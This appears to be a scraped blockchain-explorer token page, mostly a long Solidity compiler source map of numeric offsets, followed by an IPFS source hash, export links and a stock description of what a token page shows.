;4822:119;;;4860:79;;:::i;:::-;4822:119;4980:1;5005:53;5050:7;5041:6;5030:9;5026:22;5005:53;:::i;:::-;4995:63;;4951:117;4746:329;;;;:::o;5081:118::-;5168:24;5186:5;5168:24;:::i;:::-;5163:3;5156:37;5081:118;;:::o;5205:222::-;5298:4;5336:2;5325:9;5321:18;5313:26;;5349:71;5417:1;5406:9;5402:17;5393:6;5349:71;:::i;:::-;5205:222;;;;:::o;5433:104::-;5478:7;5507:24;5525:5;5507:24;:::i;:::-;5496:35;;5433:104;;;:::o;5543:142::-;5646:32;5672:5;5646:32;:::i;:::-;5641:3;5634:45;5543:142;;:::o;5691:254::-;5800:4;5838:2;5827:9;5823:18;5815:26;;5851:87;5935:1;5924:9;5920:17;5911:6;5851:87;:::i;:::-;5691:254;;;;:::o;5951:474::-;6019:6;6027;6076:2;6064:9;6055:7;6051:23;6047:32;6044:119;;;6082:79;;:::i;:::-;6044:119;6202:1;6227:53;6272:7;6263:6;6252:9;6248:22;6227:53;:::i;:::-;6217:63;;6173:117;6329:2;6355:53;6400:7;6391:6;6380:9;6376:22;6355:53;:::i;:::-;6345:63;;6300:118;5951:474;;;;;:::o;6431:180::-;6479:77;6476:1;6469:88;6576:4;6573:1;6566:15;6600:4;6597:1;6590:15;6617:320;6661:6;6698:1;6692:4;6688:12;6678:22;;6745:1;6739:4;6735:12;6766:18;6756:81;;6822:4;6814:6;6810:17;6800:27;;6756:81;6884:2;6876:6;6873:14;6853:18;6850:38;6847:84;;6903:18;;:::i;:::-;6847:84;6668:269;6617:320;;;:::o;6943:143::-;7000:5;7031:6;7025:13;7016:22;;7047:33;7074:5;7047:33;:::i;:::-;6943:143;;;;:::o;7092:351::-;7162:6;7211:2;7199:9;7190:7;7186:23;7182:32;7179:119;;;7217:79;;:::i;:::-;7179:119;7337:1;7362:64;7418:7;7409:6;7398:9;7394:22;7362:64;:::i;:::-;7352:74;;7308:128;7092:351;;;;:::o;7449:332::-;7570:4;7608:2;7597:9;7593:18;7585:26;;7621:71;7689:1;7678:9;7674:17;7665:6;7621:71;:::i;:::-;7702:72;7770:2;7759:9;7755:18;7746:6;7702:72;:::i;:::-;7449:332;;;;;:::o;7787:85::-;7832:7;7861:5;7850:16;;7787:85;;;:::o;7878:60::-;7906:3;7927:5;7920:12;;7878:60;;;:::o;7944:158::-;8002:9;8035:61;8053:42;8062:32;8088:5;8062:32;:::i;:::-;8053:42;:::i;:::-;8035:61;:::i;:::-;8022:74;;7944:158;;;:::o;8108:147::-;8203:45;8242:5;8203:45;:::i;:::-;8198:3;8191:58;8108:147;;:::o;8261:807::-;8510:4;8548:3;8537:9;8533:19;8525:27;;8562:71;8630:1;8619:9;8615:17;8606:6;8562:71;:::i;:::-;8643:72;8711:2;8700:9;8696:18;8687:6;8643:72;:::i;:::-;8725:80;8801:2;8790:9;8786:18;8777:6;8725:80;:::i;:::-;8815;8891:2;8880:9;8876:18;8867:6;8815:80;:::i;:::-;8905:73;8973:3;8962:9;8958:19;8949:6;8905:73;:::i;:::-;8988;9056:3;9045:9;9041:19;9032:6;8988:73;:::i;:::-;8261:807;;;;;;;;;:::o;9074:143::-;9131:5;9162:6;9156:13;9147:22;;9178:33;9205:5;9178:33;:::i;:::-;9074:143;;;;:::o;9223:663::-;9311:6;9319;9327;9376:2;9364:9;9355:7;9351:23;9347:32;9344:119;;;9382:79;;:::i;:::-;9344:119;9502:1;9527:64;9583:7;9574:6;9563:9;9559:22;9527:64;:::i;:::-;9517:74;;9473:128;9640:2;9666:64;9722:7;9713:6;9702:9;9698:22;9666:64;:::i;:::-;9656:74;;9611:129;9779:2;9805:64;9861:7;9852:6;9841:9;9837:22;9805:64;:::i;:::-;9795:74;;9750:129;9223:663;;;;;:::o;9892:332::-;10013:4;10051:2;10040:9;10036:18;10028:26;;10064:71;10132:1;10121:9;10117:17;10108:6;10064:71;:::i;:::-;10145:72;10213:2;10202:9;10198:18;10189:6;10145:72;:::i;:::-;9892:332;;;;;:::o;10230:116::-;10300:21;10315:5;10300:21;:::i;:::-;10293:5;10290:32;10280:60;;10336:1;10333;10326:12;10280:60;10230:116;:::o;10352:137::-;10406:5;10437:6;10431:13;10422:22;;10453:30;10477:5;10453:30;:::i;:::-;10352:137;;;;:::o;10495:345::-;10562:6;10611:2;10599:9;10590:7;10586:23;10582:32;10579:119;;;10617:79;;:::i;:::-;10579:119;10737:1;10762:61;10815:7;10806:6;10795:9;10791:22;10762:61;:::i;:::-;10752:71;;10708:125;10495:345;;;;:::o;10846:225::-;10986:34;10982:1;10974:6;10970:14;10963:58;11055:8;11050:2;11042:6;11038:15;11031:33;10846:225;:::o;11077:366::-;11219:3;11240:67;11304:2;11299:3;11240:67;:::i;:::-;11233:74;;11316:93;11405:3;11316:93;:::i;:::-;11434:2;11429:3;11425:12;11418:19;;11077:366;;;:::o;11449:419::-;11615:4;11653:2;11642:9;11638:18;11630:26;;11702:9;11696:4;11692:20;11688:1;11677:9;11673:17;11666:47;11730:131;11856:4;11730:131;:::i;:::-;11722:139;;11449:419;;;:::o;11874:167::-;12014:19;12010:1;12002:6;11998:14;11991:43;11874:167;:::o;12047:366::-;12189:3;12210:67;12274:2;12269:3;12210:67;:::i;:::-;12203:74;;12286:93;12375:3;12286:93;:::i;:::-;12404:2;12399:3;12395:12;12388:19;;12047:366;;;:::o;12419:419::-;12585:4;12623:2;12612:9;12608:18;12600:26;;12672:9;12666:4;12662:20;12658:1;12647:9;12643:17;12636:47;12700:131;12826:4;12700:131;:::i;:::-;12692:139;;12419:419;;;:::o;12844:182::-;12984:34;12980:1;12972:6;12968:14;12961:58;12844:182;:::o;13032:366::-;13174:3;13195:67;13259:2;13254:3;13195:67;:::i;:::-;13188:74;;13271:93;13360:3;13271:93;:::i;:::-;13389:2;13384:3;13380:12;13373:19;;13032:366;;;:::o;13404:419::-;13570:4;13608:2;13597:9;13593:18;13585:26;;13657:9;13651:4;13647:20;13643:1;13632:9;13628:17;13621:47;13685:131;13811:4;13685:131;:::i;:::-;13677:139;;13404:419;;;:::o;13829:171::-;13969:23;13965:1;13957:6;13953:14;13946:47;13829:171;:::o;14006:366::-;14148:3;14169:67;14233:2;14228:3;14169:67;:::i;:::-;14162:74;;14245:93;14334:3;14245:93;:::i;:::-;14363:2;14358:3;14354:12;14347:19;;14006:366;;;:::o;14378:419::-;14544:4;14582:2;14571:9;14567:18;14559:26;;14631:9;14625:4;14621:20;14617:1;14606:9;14602:17;14595:47;14659:131;14785:4;14659:131;:::i;:::-;14651:139;;14378:419;;;:::o;14803:224::-;14943:34;14939:1;14931:6;14927:14;14920:58;15012:7;15007:2;14999:6;14995:15;14988:32;14803:224;:::o;15033:366::-;15175:3;15196:67;15260:2;15255:3;15196:67;:::i;:::-;15189:74;;15272:93;15361:3;15272:93;:::i;:::-;15390:2;15385:3;15381:12;15374:19;;15033:366;;;:::o;15405:419::-;15571:4;15609:2;15598:9;15594:18;15586:26;;15658:9;15652:4;15648:20;15644:1;15633:9;15629:17;15622:47;15686:131;15812:4;15686:131;:::i;:::-;15678:139;;15405:419;;;:::o;15830:180::-;15878:77;15875:1;15868:88;15975:4;15972:1;15965:15;15999:4;15996:1;15989:15;16016:194;16056:4;16076:20;16094:1;16076:20;:::i;:::-;16071:25;;16110:20;16128:1;16110:20;:::i;:::-;16105:25;;16154:1;16151;16147:9;16139:17;;16178:1;16172:4;16169:11;16166:37;;;16183:18;;:::i;:::-;16166:37;16016:194;;;;:::o;16216:191::-;16256:3;16275:20;16293:1;16275:20;:::i;:::-;16270:25;;16309:20;16327:1;16309:20;:::i;:::-;16304:25;;16352:1;16349;16345:9;16338:16;;16373:3;16370:1;16367:10;16364:36;;;16380:18;;:::i;:::-;16364:36;16216:191;;;;:::o

Swarm Source

ipfs://2fde8badc4c8adb1c5c07ab63221bc3461ba83826992c19f00ec384a36fde28f
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.